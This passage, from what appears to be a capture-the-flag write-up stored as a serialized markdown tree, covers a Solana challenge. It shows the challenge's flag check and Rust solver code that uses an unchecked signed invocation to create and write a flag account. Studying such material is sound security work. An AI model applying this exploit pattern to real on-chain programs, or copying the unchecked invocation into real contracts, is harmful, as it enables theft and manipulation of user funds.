payer",{"type":23,"tag":504,"props":41218,"children":41219},{"style":598},[41220],{"type":28,"value":648},{"type":23,"tag":504,"props":41222,"children":41223},{"style":529},[41224],{"type":28,"value":41174},{"type":23,"tag":504,"props":41226,"children":41227},{"style":598},[41228],{"type":28,"value":320},{"type":23,"tag":504,"props":41230,"children":41231},{"style":517},[41232],{"type":28,"value":2521},{"type":23,"tag":504,"props":41234,"children":41235},{"style":523},[41236],{"type":28,"value":2647},{"type":23,"tag":504,"props":41238,"children":41239},{"class":506,"line":736},[41240],{"type":23,"tag":504,"props":41241,"children":41242},{"emptyLinePlaceholder":16},[41243],{"type":28,"value":1038},{"type":23,"tag":504,"props":41245,"children":41246},{"class":506,"line":785},[41247],{"type":23,"tag":504,"props":41248,"children":41249},{"style":529},[41250],{"type":28,"value":41251},"chall\n",{"type":23,"tag":504,"props":41253,"children":41254},{"class":506,"line":813},[41255,41260,41265,41270,41274,41278,41282,41286,41291,41295,41299,41303,41307,41312],{"type":23,"tag":504,"props":41256,"children":41257},{"style":598},[41258],{"type":28,"value":41259},"    .",{"type":23,"tag":504,"props":41261,"children":41262},{"style":517},[41263],{"type":28,"value":41264},"run_ix",{"type":23,"tag":504,"props":41266,"children":41267},{"style":523},[41268],{"type":28,"value":41269},"(system_instruction",{"type":23,"tag":504,"props":41271,"children":41272},{"style":598},[41273],{"type":28,"value":2457},{"type":23,"tag":504,"props":41275,"children":41276},{"style":517},[41277],{"type":28,"value":31101},{"type":23,"tag":504,"props":41279,"children":41280},{"style":523},[41281],{"type":28,"value":526},{"type":23,"tag":504,"props":41283,"children":41284},{"style":598},[41285],{"type":28,"value":2086},{"type":23,"tag":504,"props":41287,"children":41288},{"style":529},[41289],{"type":28,"value":41290},"payer",{"type":23,"tag":504,"props":41292,"children":41293},{"style":523},[41294],{"type":28,"value":576},{"type":23,"tag":504,"props":41296,"children":41297},{"style":598},[41298],{"type":28,"value":2086},{"type":23,"tag":504,"props":41300,"children":41301},{"style":529},[41302],{"type":28,"value":19214},{"type":23,"tag":504,"props":41304,"children":41305},{"style":523},[41306],{"type":28,"value":576},{"type":23,"tag":504,"props":41308,"children":41309},{"style":1440},[41310],{"type":28,"value":41311},"100_000_000_000",{"type":23,"tag":504,"props":41313,"children":41314},{"style":523},[41315],{"type":28,"value":18694},{"type":23,"tag":504,"props":41317,"children":41318},{"class":506,"line":851},[41319,41323,41327,41331],{"type":23,"tag":504,"props":41320,"children":41321},{"style":598},[41322],{"type":28,"value":41259},{"type":23,"tag":504,"props":41324,"children":41325},{"style":544},[41326],{"type":28,"value":31893},{"type":23,"tag":504,"props":41328,"children":41329},{"style":598},[41330],{"type":28,"value":2133},{"type":23,"tag":504,"props":41332,"children":41333},{"style":523},[41334],{"type":28,"value":866},{"type":23,"tag":504,"props":41336,"children":41337},{"class":506,"line":869},[41338],{"type":23,"tag":504,"props":41339,"children":41340},{"emptyLinePlaceholder":16},[41341],{"type":28,"value":1038},{"type":23,"tag":504,"props":41343,"children":41344},{"class":506,"line":878},[41345,41350,41354,41358,41362,41367,41371,41375,41379,41383],{"type":23,"tag":504,"props":41346,"children":41347},{"style":517},[41348],{"type":28,"value":41349},"writeln!",{"type":23,"tag":504,"props":41351,"children":41352},{"style":523},[41353],{"type":28,"value":526},{"type":23,"tag":504,"props":41355,"children":41356},{"style":529},[41357],{"type":28,"value":40913},{"type":23,"tag":504,"props":41359,"children":41360},{"style":523},[41361],{"type":28,"value":576},{"type":23,"tag":504,"props":41363,"children":41364},{"style":622},[41365],{"type":28,"value":41366},"\"user: {}\"",{"type":23,"tag":504,"props":41368,"children":41369},{"style":523},[41370],{"type":28,"value":576},{"type":23,"tag":504,"props":41372,"children":41373},{"style":529},[41374],{"type":28,"value":19214},{"type":23,"tag":504,"props":41376,"children":41377},{"style":523},[41378],{"type":28,"value":2105},{"type":23,"tag":504,"props":41380,"children":41381},{"style":598},[41382],{"type":28,"value":2133},{"type":23,"tag":504,"props":41384,"children":41385},{"style":523},[41386],{"type":28,"value":866},{"type":23,"tag":41,"props":41388,"children":41389},{"start":555},[41390],{"type":23,"tag":45,"props":41391,"children":41392},{},[41393],{"type":28,"value":41394},"Reads an instruction from the tcp stream and executes it",{"type":23,"tag":494,"props":41396,"children":41398},{"className":1957,"code":41397,"language":1956,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[41399],{"type":23,"tag":56,"props":41400,"children":41401},{"__ignoreMap":7},[41402,41452],{"type":23,"tag":504,"props":41403,"children":41404},{"class":506,"line":507},[41405,41409,41414,41418,41422,41426,41431,41435,41439,41444,41448],{"type":23,"tag":504,"props":41406,"children":41407},{"style":511},[41408],{"type":28,"value":10769},{"type":23,"tag":504,"props":41410,"children":41411},{"style":529},[41412],{"type":28,"value":41413}," solve_ix",{"type":23,"tag":504,"props":41415,"children":41416},{"style":598},[41417],{"type":28,"value":648},{"type":23,"tag":504,"props":41419,"children":41420},{"style":529},[41421],{"type":28,"value":41018},{"type":23,"tag":504,"props":41423,"children":41424},{"style":598},[41425],{"type":28,"value":320},{"type":23,"tag":504,"props":41427,"children":41428},{"style":517},[41429],{"type":28,"value":41430},"read_instruction",{"type":23,"tag":504,"props":41432,"children":41433},{"style":523},[41434],{"type":28,"value":41000},{"type":23,"tag":504,"props":41436,"children":41437},{"style":598},[41438],{"type":28,"value":2457},{"type":23,"tag":504,"props":41440,"children":41441},{"style":523},[41442],{"type":28,"value":41443},"ID)",{"type":23,"tag":504,"props":41445,"children":41446},{"style":598},[41447],{"type":28,"value":2133},{"type":23,"tag":504,"props":41449,"children":41450},{"style":523},[41451],{"type":28,"value":866},{"type":23,"tag":504,"props":41453,"children":41454},{"class":506,"line":540},[41455,41459,41463,41468,41472,41476,41480,41485,41489,41493,41497,41501,41506,41510,41514,41518,41522,41526,41530,41534],{"type":23,"tag":504,"props":41456,"children":41457},{"style":529},[41458],{"type":28,"value":41187},{"type":23,"tag":504,"props":41460,"children":41461},{"style":598},[41462],{"type":28,"value":320},{"type":23,"tag":504,"props":41464,"children":41465},{"style":517},[41466],{"type":28,"value":41467},"run_ixs_full",{"type":23,"tag":504,"props":41469,"children":41470},{"style":523},[41471],{"type":28,"value":526},{"type":23,"tag":504,"props":41473,"children":41474},{"style":598},[41475],{"type":28,"value":2086},{"type":23,"tag":504,"props":41477,"children":41478},{"style":523},[41479],{"type":28,"value":2711},{"type":23,"tag":504,"props":41481,"children":41482},{"style":529},[41483],{"type":28,"value":41484},"solve_ix",{"type":23,"tag":504,"props":41486,"children":41487},{"style":523},[41488],{"type":28,"value":22041},{"type":23,"tag":504,"props":41490,"children":41491},{"style":598},[41492],{"type":28,"value":2086},{"type":23,"tag":504,"props":41494,"children":41495},{"style":523},[41496],{"type":28,"value":2711},{"type":23,"tag":504,"props":41498,"children":41499},{"style":598},[41500],{"type":28,"value":2086},{"type":23,"tag":504,"props":41502,"children":41503},{"style":529},[41504],{"type":28,"value":41505},"user_keypair",{"type":23,"tag":504,"props":41507,"children":41508},{"style":523},[41509],{"type":28,"value":22041},{"type":23,"tag":504,"props":41511,"children":41512},{"style":598},[41513],{"type":28,"value":2086},{"type":23,"tag":504,"props":41515,"children":41516},{"style":529},[41517],{"type":28,"value":19214},{"type":23,"tag":504,"props":41519,"children":41520},{"style":523},[41521],{"type":28,"value":2105},{"type":23,"tag":504,"props":41523,"children":41524},{"style":598},[41525],{"type":28,"value":320},{"type":23,"tag":504,"props":41527,"children":41528},{"style":544},[41529],{"type":28,"value":31893},{"type":23,"tag":504,"props":41531,"children":41532},{"style":598},[41533],{"type":28,"value":2133},{"type":23,"tag":504,"props":41535,"children":41536},{"style":523},[41537],{"type":28,"value":866},{"type":23,"tag":41,"props":41539,"children":41540},{"start":633},[41541],{"type":23,"tag":45,"props":41542,"children":41543},{},[41544],{"type":28,"value":41545},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":23,"tag":494,"props":41547,"children":41549},{"className":1957,"code":41548,"language":1956,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[41550],{"type":23,"tag":56,"props":41551,"children":41552},{"__ignoreMap":7},[41553,41637,41728,41769,41853,41860,41897,41954,41999,42014,42050,42057,42064],{"type":23,"tag":504,"props":41554,"children":41555},{"class":506,"line":507},[41556,41560,41565,41569,41573,41577,41582,41586,41590,41594,41599,41603,41608,41613,41617,41621,41625,41629,41633],{"type":23,"tag":504,"props":41557,"children":41558},{"style":511},[41559],{"type":28,"value":10769},{"type":23,"tag":504,"props":41561,"children":41562},{"style":529},[41563],{"type":28,"value":41564}," flag",{"type":23,"tag":504,"props":41566,"children":41567},{"style":598},[41568],{"type":28,"value":648},{"type":23,"tag":504,"props":41570,"children":41571},{"style":1012},[41572],{"type":28,"value":19838},{"type":23,"tag":504,"props":41574,"children":41575},{"style":598},[41576],{"type":28,"value":2457},{"type":23,"tag":504,"props":41578,"children":41579},{"style":517},[41580],{"type":28,"value":41581},"create_program_address",{"type":23,"tag":504,"props":41583,"children":41584},{"style":523},[41585],{"type":28,"value":526},{"type":23,"tag":504,"props":41587,"children":41588},{"style":598},[41589],{"type":28,"value":2086},{"type":23,"tag":504,"props":41591,"children":41592},{"style":523},[41593],{"type":28,"value":2711},{"type":23,"tag":504,"props":41595,"children":41596},{"style":622},[41597],{"type":28,"value":41598},"\"FLAG\"",{"type":23,"tag":504,"props":41600,"children":41601},{"style":598},[41602],{"type":28,"value":320},{"type":23,"tag":504,"props":41604,"children":41605},{"style":517},[41606],{"type":28,"value":41607},"as_ref",{"type":23,"tag":504,"props":41609,"children":41610},{"style":523},[41611],{"type":28,"value":41612},"()], ",{"type":23,"tag":504,"props":41614,"children":41615},{"style":598},[41616],{"type":28,"value":2086},{"type":23,"tag":504,"props":41618,"children":41619},{"style":523},[41620],{"type":28,"value":41187},{"type":23,"tag":504,"props":41622,"children":41623},{"style":598},[41624],{"type":28,"value":2457},{"type":23,"tag":504,"props":41626,"children":41627},{"style":523},[41628],{"type":28,"value":41443},{"type":23,"tag":504,"props":41630,"children":41631},{"style":598},[41632],{"type":28,"value":2133},{"type":23,"tag":504,"props":41634,"children":41635},{"style":523},[41636],{"type":28,"value":866},{"type":23,"tag":504,"props":41638,"children":41639},{"class":506,"line":540},[41640,41644,41648,41652,41656,41661,41665,41669,41673,41677,41681,41685,41690,41694,41699,41703,41708,41712,41716,41720,41724],{"type":23,"tag":504,"props":41641,"children":41642},{"style":544},[41643],{"type":28,"value":14560},{"type":23,"tag":504,"props":41645,"children":41646},{"style":511},[41647],{"type":28,"value":26285},{"type":23,"tag":504,"props":41649,"children":41650},{"style":1012},[41651],{"type":28,"value":26290},{"type":23,"tag":504,"props":41653,"children":41654},{"style":523},[41655],{"type":28,"value":526},{"type":23,"tag":504,"props":41657,"children":41658},{"style":529},[41659],{"type":28,"value":41660},"acct",{"type":23,"tag":504,"props":41662,"children":41663},{"style":523},[41664],{"type":28,"value":2064},{"type":23,"tag":504,"props":41666,"children":41667},{"style":598},[41668],{"type":28,"value":601},{"type":23,"tag":504,"props":41670,"children":41671},{"style":529},[41672],{"type":28,"value":41018},{"type":23,"tag":504,"props":41674,"children":41675},{"style":598},[41676],{"type":28,"value":320},{"type":23,"tag":504,"props":41678,"children":41679},{"style":523},[41680],{"type":28,"value":19262},{"type":23,"tag":504,"props":41682,"children":41683},{"style":598},[41684],{"type":28,"value":320},{"type":23,"tag":504,"props":41686,"children":41687},{"style":523},[41688],{"type":28,"value":41689},"banks_client",{"type":23,"tag":504,"props":41691,"children":41692},{"style":598},[41693],{"type":28,"value":320},{"type":23,"tag":504,"props":41695,"children":41696},{"style":517},[41697],{"type":28,"value":41698},"get_account",{"type":23,"tag":504,"props":41700,"children":41701},{"style":523},[41702],{"type":28,"value":526},{"type":23,"tag":504,"props":41704,"children":41705},{"style":529},[41706],{"type":28,"value":41707},"flag",{"type":23,"tag":504,"props":41709,"children":41710},{"style":523},[41711],{"type":28,"value":2105},{"type":23,"tag":504,"props":41713,"children":41714},{"style":598},[41715],{"type":28,"value":320},{"type":23,"tag":504,"props":41717,"children":41718},{"style":544},[41719],{"type":28,"value":31893},{"type":23,"tag":504,"props":41721,"children":41722},{"style":598},[41723],{"type":28,"value":2133},{"type":23,"tag":504,"props":41725,"children":41726},{"style":523},[41727],{"type":28,"value":552},{"type":23,"tag":504,"props":41729,"children":41730},{"class":506,"line":555},[41731,41735,41740,41744,41748,41752,41756,41760,41764],{"type":23,"tag":504,"props":41732,"children":41733},{"style":544},[41734],{"type":28,"value":11261},{"type":23,"tag":504,"props":41736,"children":41737},{"style":529},[41738],{"type":28,"value":41739}," acct",{"type":23,"tag":504,"props":41741,"children":41742},{"style":598},[41743],{"type":28,"value":320},{"type":23,"tag":504,"props":41745,"children":41746},{"style":523},[41747],{"type":28,"value":2679},{"type":23,"tag":504,"props":41749,"children":41750},{"style":598},[41751],{"type":28,"value":320},{"type":23,"tag":504,"props":41753,"children":41754},{"style":517},[41755],{"type":28,"value":8121},{"type":23,"tag":504,"props":41757,"children":41758},{"style":523},[41759],{"type":28,"value":13024},{"type":23,"tag":504,"props":41761,"children":41762},{"style":598},[41763],{"type":28,"value":7559},{"type":23,"tag":504,"props":41765,"children":41766},{"style":1440},[41767],{"type":28,"value":41768}," 0x1337\n",{"type":23,"tag":504,"props":41770,"children":41771},{"class":506,"line":633},[41772,41777,41781,41785,41790,41794,41798,41802,41807,41811,41815,41819,41823,41827,41831,41835,41839,41844,41848],{"type":23,"tag":504,"props":41773,"children":41774},{"style":598},[41775],{"type":28,"value":41776},"        &&",{"type":23,"tag":504,"props":41778,"children":41779},{"style":1012},[41780],{"type":28,"value":4843},{"type":23,"tag":504,"props":41782,"children":41783},{"style":598},[41784],{"type":28,"value":2457},{"type":23,"tag":504,"props":41786,"children":41787},{"style":517},[41788],{"type":28,"value":41789},"from_le_bytes",{"type":23,"tag":504,"props":41791,"children":41792},{"style":523},[41793],{"type":28,"value":526},{"type":23,"tag":504,"props":41795,"children":41796},{"style":529},[41797],{"type":28,"value":41660},{"type":23,"tag":504,"props":41799,"children":41800},{"style":598},[41801],{"type":28,"value":320},{"type":23,"tag":504,"props":41803,"children":41804},{"style":523},[41805],{"type":28,"value":41806},"data[",{"type":23,"tag":504,"props":41808,"children":41809},{"style":598},[41810],{"type":28,"value":2028},{"type":23,"tag":504,"props":41812,"children":41813},{"style":1440},[41814],{"type":28,"value":3055},{"type":23,"tag":504,"props":41816,"children":41817},{"style":523},[41818],{"type":28,"value":14391},{"type":23,"tag":504,"props":41820,"children":41821},{"style":598},[41822],{"type":28,"value":320},{"type":23,"tag":504,"props":41824,"children":41825},{"style":517},[41826],{"type":28,"value":25142},{"type":23,"tag":504,"props":41828,"children":41829},{"style":523},[41830],{"type":28,"value":12860},{"type":23,"tag":504,"props":41832,"children":41833},{"style":598},[41834],{"type":28,"value":320},{"type":23,"tag":504,"props":41836,"children":41837},{"style":517},[41838],{"type":28,"value":2642},{"type":23,"tag":504,"props":41840,"children":41841},{"style":523},[41842],{"type":28,"value":41843},"()) ",{"type":23,"tag":504,"props":41845,"children":41846},{"style":598},[41847],{"type":28,"value":7559},{"type":23,"tag":504,"props":41849,"children":41850},{"style":1440},[41851],{"type":28,"value":41852}," 0x4337\n",{"type":23,"tag":504,"props":41854,"children":41855},{"class":506,"line":687},[41856],{"type":23,"tag":504,"props":41857,"children":41858},{"style":523},[41859],{"type":28,"value":28168},{"type":23,"tag":504,"props":41861,"children":41862},{"class":506,"line":736},[41863,41868,41872,41876,41880,41885,41889,41893],{"type":23,"tag":504,"props":41864,"children":41865},{"style":517},[41866],{"type":28,"value":41867},"        writeln!",{"type":23,"tag":504,"props":41869,"children":41870},{"style":523},[41871],{"type":28,"value":526},{"type":23,"tag":504,"props":41873,"children":41874},{"style":529},[41875],{"type":28,"value":40913},{"type":23,"tag":504,"props":41877,"children":41878},{"style":523},[41879],{"type":28,"value":576},{"type":23,"tag":504,"props":41881,"children":41882},{"style":622},[41883],{"type":28,"value":41884},"\"congrats!\"",{"type":23,"tag":504,"props":41886,"children":41887},{"style":523},[41888],{"type":28,"value":2105},{"type":23,"tag":504,"props":41890,"children":41891},{"style":598},[41892],{"type":28,"value":2133},{"type":23,"tag":504,"props":41894,"children":41895},{"style":523},[41896],{"type":28,"value":866},{"type":23,"tag":504,"props":41898,"children":41899},{"class":506,"line":785},[41900,41904,41908,41913,41917,41921,41925,41929,41934,41938,41942,41946,41950],{"type":23,"tag":504,"props":41901,"children":41902},{"style":544},[41903],{"type":28,"value":2250},{"type":23,"tag":504,"props":41905,"children":41906},{"style":511},[41907],{"type":28,"value":26285},{"type":23,"tag":504,"props":41909,"children":41910},{"style":1012},[41911],{"type":28,"value":41912}," Ok",{"type":23,"tag":504,"props":41914,"children":41915},{"style":523},[41916],{"type":28,"value":526},{"type":23,"tag":504,"props":41918,"children":41919},{"style":529},[41920],{"type":28,"value":41707},{"type":23,"tag":504,"props":41922,"children":41923},{"style":523},[41924],{"type":28,"value":2064},{"type":23,"tag":504,"props":41926,"children":41927},{"style":598},[41928],{"type":28,"value":601},{"type":23,"tag":504,"props":41930,"children":41931},{"style":523},[41932],{"type":28,"value":41933}," env",{"type":23,"tag":504,"props":41935,"children":41936},{"style":598},[41937],{"type":28,"value":2457},{"type":23,"tag":504,"props":41939,"children":41940},{"style":517},[41941],{"type":28,"value":34023},{"type":23,"tag":504,"props":41943,"children":41944},{"style":523},[41945],{"type":28,"value":526},{"type":23,"tag":504,"props":41947,"children":41948},{"style":622},[41949],{"type":28,"value":41598},{"type":23,"tag":504,"props":41951,"children":41952},{"style":523},[41953],{"type":28,"value":537},{"type":23,"tag":504,"props":41955,"children":41956},{"class":506,"line":813},[41957,41962,41966,41970,41974,41979,41983,41987,41991,41995],{"type":23,"tag":504,"props":41958,"children":41959},{"style":517},[41960],{"type":28,"value":41961},"            writeln!",{"type":23,"tag":504,"props":41963,"children":41964},{"style":523},[41965],{"type":28,"value":526},{"type":23,"tag":504,"props":41967,"children":41968},{"style":529},[41969],{"type":28,"value":40913},{"type":23,"tag":504,"props":41971,"children":41972},{"style":523},[41973],{"type":28,"value":576},{"type":23,"tag":504,"props":41975,"children":41976},{"style":622},[41977],{"type":28,"value":41978},"\"flag: {:?}\"",{"type":23,"tag":504,"props":41980,"children":41981},{"style":523},[41982],{"type":28,"value":576},{"type":23,"tag":504,"props":41984,"children":41985},{"style":529},[41986],{"type":28,"value":41707},{"type":23,"tag":504,"props":41988,"children":41989},{"style":523},[41990],{"type":28,"value":2105},{"type":23,"tag":504,"props":41992,"children":41993},{"style":598},[41994],{"type":28,"value":2133},{"type":23,"tag":504,"props":41996,"children":41997},{"style":523},[41998],{"type":28,"value":866},{"type":23,"tag":504,"props":42000,"children":42001},{"class":506,"line":851},[42002,42006,42010],{"type":23,"tag":504,"props":42003,"children":42004},{"style":523},[42005],{"type":28,"value":2288},{"type":23,"tag":504,"props":42007,"children":42008},{"style":544},[42009],{"type":28,"value":2293},{"type":23,"tag":504,"props":42011,"children":42012},{"style":523},[42013],{"type":28,"value":552},{"type":23,"tag":504,"props":42015,"children":42016},{"class":506,"line":869},[42017,42021,42025,42029,42033,42038,42042,42046],{"type":23,"tag":504,"props":42018,"children":42019},{"style":517},[42020],{"type":28,"value":41961},{"type":23,"tag":504,"props":42022,"children":42023},{"style":523},[42024],{"type":28,"value":526},{"type":23,"tag":504,"props":42026,"children":42027},{"style":529},[42028],{"type":28,"value":40913},{"type":23,"tag":504,"props":42030,"children":42031},{"style":523},[42032],{"type":28,"value":576},{"type":23,"tag":504,"props":42034,"children":42035},{"style":622},[42036],{"type":28,"value":42037},"\"flag not found, please contact admin\"",{"type":23,"tag":504,"props":42039,"children":42040},{"style":523},[42041],{"type":28,"value":2105},{"type":23,"tag":504,"props":42043,"children":42044},{"style":598},[42045],{"type":28,"value":2133},{"type":23,"tag":504,"props":42047,"children":42048},{"style":523},[42049],{"type":28,"value":866},{"type":23,"tag":504,"props":42051,"children":42052},{"class":506,"line":878},[42053],{"type":23,"tag":504,"props":42054,"children":42055},{"style":523},[42056],{"type":28,"value":1291},{"type":23,"tag":504,"props":42058,"children":42059},{"class":506,"line":1221},[42060],{"type":23,"tag":504,"props":42061,"children":42062},{"style":523},[42063],{"type":28,"value":875},{"type":23,"tag":504,"props":42065,"children":42066},{"class":506,"line":1276},[42067],{"type":23,"tag":504,"props":42068,"children":42069},{"style":523},[42070],{"type":28,"value":884},{"type":23,"tag":70,"props":42072,"children":42074},{"id":42073},"solution-idea",[42075],{"type":28,"value":42076},"Solution Idea",{"type":23,"tag":24,"props":42078,"children":42079},{},[42080,42082,42087],{"type":28,"value":42081},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":23,"tag":56,"props":42083,"children":42085},{"className":42084},[],[42086],{"type":28,"value":34658},{"type":28,"value":42088}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":23,"tag":24,"props":42090,"children":42091},{},[42092,42094,42100],{"type":28,"value":42093},"In order to get the flag, we need to make sure that the account at ",{"type":23,"tag":56,"props":42095,"children":42097},{"className":42096},[],[42098],{"type":28,"value":42099},"PDA(\"FLAG\")",{"type":28,"value":42101}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":23,"tag":24,"props":42103,"children":42104},{},[42105,42107,42114],{"type":28,"value":42106},"Essentially, we need to ",{"type":23,"tag":92,"props":42108,"children":42111},{"href":42109,"rel":42110},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[96],[42112],{"type":28,"value":42113},"invoke the System Program",{"type":28,"value":42115},", and write controlled data into the newly created account.",{"type":23,"tag":24,"props":42117,"children":42118},{},[42119],{"type":28,"value":42120},"A sample program that does this is as follows:",{"type":23,"tag":494,"props":42122,"children":42124},{"className":1957,"code":42123,"language":1956,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[42125],{"type":23,"tag":56,"props":42126,"children":42127},{"__ignoreMap":7},[42128,42148,42172,42200,42228,42248,42284,42320,42327,42335,42368,42385,42410,42431,42483,42508,42515,42528,42574,42618,42626,42634,42645,42661,42672,42692,42712,42719,42755,42770,42777,42785,42864,42871,42882],{"type":23,"tag":504,"props":42129,"children":42130},{"class":506,"line":507},[42131,42135,42139,42144],{"type":23,"tag":504,"props":42132,"children":42133},{"style":511},[42134],{"type":28,"value":12671},{"type":23,"tag":504,"props":42136,"children":42137},{"style":511},[42138],{"type":28,"value":12676},{"type":23,"tag":504,"props":42140,"children":42141},{"style":517},[42142],{"type":28,"value":42143}," process_instruction",{"type":23,"tag":504,"props":42145,"children":42146},{"style":523},[42147],{"type":28,"value":2439},{"type":23,"tag":504,"props":42149,"children":42150},{"class":506,"line":540},[42151,42156,42160,42164,42168],{"type":23,"tag":504,"props":42152,"children":42153},{"style":529},[42154],{"type":28,"value":42155},"    program_id",{"type":23,"tag":504,"props":42157,"children":42158},{"style":598},[42159],{"type":28,"value":3472},{"type":23,"tag":504,"props":42161,"children":42162},{"style":598},[42163],{"type":28,"value":6125},{"type":23,"tag":504,"props":42165,"children":42166},{"style":1012},[42167],{"type":28,"value":20379},{"type":23,"tag":504,"props":42169,"children":42170},{"style":523},[42171],{"type":28,"value":2484},{"type":23,"tag":504,"props":42173,"children":42174},{"class":506,"line":555},[42175,42180,42184,42188,42192,42196],{"type":23,"tag":504,"props":42176,"children":42177},{"style":529},[42178],{"type":28,"value":42179},"    accounts",{"type":23,"tag":504,"props":42181,"children":42182},{"style":598},[42183],{"type":28,"value":3472},{"type":23,"tag":504,"props":42185,"children":42186},{"style":598},[42187],{"type":28,"value":6125},{"type":23,"tag":504,"props":42189,"children":42190},{"style":523},[42191],{"type":28,"value":2711},{"type":23,"tag":504,"props":42193,"children":42194},{"style":1012},[42195],{"type":28,"value":13918},{"type":23,"tag":504,"props":42197,"children":42198},{"style":523},[42199],{"type":28,"value":13244},{"type":23,"tag":504,"props":42201,"children":42202},{"class":506,"line":633},[42203,42208,42212,42216,42220,42224],{"type":23,"tag":504,"props":42204,"children":42205},{"style":529},[42206],{"type":28,"value":42207},"    data",{"type":23,"tag":504,"props":42209,"children":42210},{"style":598},[42211],{"type":28,"value":3472},{"type":23,"tag":504,"props":42213,"children":42214},{"style":598},[42215],{"type":28,"value":6125},{"type":23,"tag":504,"props":42217,"children":42218},{"style":523},[42219],{"type":28,"value":2711},{"type":23,"tag":504,"props":42221,"children":42222},{"style":1012},[42223],{"type":28,"value":2397},{"type":23,"tag":504,"props":42225,"children":42226},{"style":523},[42227],{"type":28,"value":10754},{"type":23,"tag":504,"props":42229,"children":42230},{"class":506,"line":687},[42231,42235,42239,42244],{"type":23,"tag":504,"props":42232,"children":42233},{"style":523},[42234],{"type":28,"value":2064},{"type":23,"tag":504,"props":42236,"children":42237},{"style":598},[42238],{"type":28,"value":12738},{"type":23,"tag":504,"props":42240,"children":42241},{"style":1012},[42242],{"type":28,"value":42243}," ProgramResult",{"type":23,"tag":504,"props":42245,"children":42246},{"style":523},[42247],{"type":28,"value":552},{"type":23,"tag":504,"props":42249,"children":42250},{"class":506,"line":736},[42251,42255,42260,42264,42268,42272,42276,42280],{"type":23,"tag":504,"props":42252,"children":42253},{"style":511},[42254],{"type":28,"value":1977},{"type":23,"tag":504,"props":42256,"children":42257},{"style":529},[42258],{"type":28,"value":42259}," flag_pda_ai",{"type":23,"tag":504,"props":42261,"children":42262},{"style":598},[42263],{"type":28,"value":648},{"type":23,"tag":504,"props":42265,"children":42266},{"style":598},[42267],{"type":28,"value":6125},{"type":23,"tag":504,"props":42269,"children":42270},{"style":529},[42271],{"type":28,"value":13656},{"type":23,"tag":504,"props":42273,"children":42274},{"style":523},[42275],{"type":28,"value":2711},{"type":23,"tag":504,"props":42277,"children":42278},{"style":1440},[42279],{"type":28,"value":3001},{"type":23,"tag":504,"props":42281,"children":42282},{"style":523},[42283],{"type":28,"value":30552},{"type":23,"tag":504,"props":42285,"children":42286},{"class":506,"line":785},[42287,42291,42296,42300,42304,42308,42312,42316],{"type":23,"tag":504,"props":42288,"children":42289},{"style":511},[42290],{"type":28,"value":1977},{"type":23,"tag":504,"props":42292,"children":42293},{"style":529},[42294],{"type":28,"value":42295}," user_ai",{"type":23,"tag":504,"props":42297,"children":42298},{"style":598},[42299],{"type":28,"value":648},{"type":23,"tag":504,"props":42301,"children":42302},{"style":598},[42303],{"type":28,"value":6125},{"type":23,"tag":504,"props":42305,"children":42306},{"style":529},[42307],{"type":28,"value":13656},{"type":23,"tag":504,"props":42309,"children":42310},{"style":523},[42311],{"type":28,"value":2711},{"type":23,"tag":504,"props":42313,"children":42314},{"style":1440},[42315],{"type":28,"value":2991},{"type":23,"tag":504,"props":42317,"children":42318},{"style":523},[42319],{"type":28,"value":30552},{"type":23,"tag":504,"props":42321,"children":42322},{"class":506,"line":813},[42323],{"type":23,"tag":504,"props":42324,"children":42325},{"emptyLinePlaceholder":16},[42326],{"type":28,"value":1038},{"type":23,"tag":504,"props":42328,"children":42329},{"class":506,"line":851},[42330],{"type":23,"tag":504,"props":42331,"children":42332},{"style":1106},[42333],{"type":28,"value":42334},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":23,"tag":504,"props":42336,"children":42337},{"class":506,"line":869},[42338,42342,42347,42351,42355,42359,42364],{"type":23,"tag":504,"props":42339,"children":42340},{"style":511},[42341],{"type":28,"value":1977},{"type":23,"tag":504,"props":42343,"children":42344},{"style":529},[42345],{"type":28,"value":42346}," 